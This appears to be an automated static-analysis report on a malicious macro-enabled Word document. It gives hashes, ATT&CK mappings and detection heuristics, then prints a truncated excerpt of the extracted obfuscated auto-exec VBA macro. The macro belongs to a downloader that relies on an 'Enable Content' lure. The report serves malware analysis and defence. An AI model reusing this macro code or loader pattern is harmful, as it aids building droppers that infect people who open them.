Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b811aa0bd95ce74f…

MALICIOUS

Office (OOXML)

106.3 KB Created: 2021-09-29 22:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-05
MD5: 3c217a8fa6eac3d0e4e1274e98ba507f SHA-1: 9dab9b938fb83969c189aa21722858d1b654c27f SHA-256: b811aa0bd95ce74f24fe08706a4311ade04185e926995ea40cec00b0b9bd3cf0
490 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an OOXML document containing VBA macros, specifically an Auto_Open and Document_Open macro, which are designed to execute automatically. Heuristics indicate obfuscated auto-exec VBA loaders and references to PowerShell, suggesting the macros are used to download and execute a second-stage payload. The document body explicitly instructs the user to 'Enable Content' to fix compatibility, a common lure for macro-based malware.

Heuristics 12

  • ClamAV: Doc.Downloader.Shellhide-10014935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Shellhide-10014935-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 21100 bytes
SHA-256: 9e24e6ff3dce9dd8e92ca256c10038743ad2be68e05cfd1c3d762126d91237ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Dim bSaved As Boolean

Sub Auto_Open()

End Sub

Sub Document_Open()


Call fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR

Call iMZhgBKouwiXWuJfNJrPlTeEoJuEzwqyPBCPQEIBAFXCgDJNjOTIHLZnRjcQHbIYKrywncYhINIWBCdppvoJFcEBiv


If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
RuIXdbXbZrJsLewgrkgkIVJlqRVKVZvwCjPAVVDFYJsmnbu
Else

End If

End Sub

Sub fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR()

Dim rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ As String, XsinaEJSOxrwGdNlmgQAVikPuZ As String
Dim MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG As Range, SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo As Range
Dim voXvGkYUJt As Range, GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib As Range, KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP As Range

'Setting up the Ranges
Set MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG = ActiveDocument.Range
Set SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo = ActiveDocument.Range
Set voXvGkYUJt = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(225, 225, 225)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ = "This Document Is"
XsinaEJSOxrwGdNlmgQAVikPuZ = "Version."

'Starting the Find First Word
With MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find
.Text = rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib
Set GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib = MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG
'Having these Selections during testing is benificial to test your script
GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Select

'Setting the SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo up for the remainder of the document form the end of the rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.End
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Select


'Setting the Find to look for the End Word
With SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Find
.Text = XsinaEJSOxrwGdNlmgQAVikPuZ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP
Set KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP = SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo

'Having these Selections during testing is benificial to test your script
KBFXvyAmJHAb
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 146944 bytes
SHA-256: 032b105d319cffc5dd3eeb7f740d5782e5104064e84fe4ccb65a41bd9d5e6e9b
Detection
ClamAV: Doc.Downloader.Shellhide-10014935-0
Obfuscation or payload: unlikely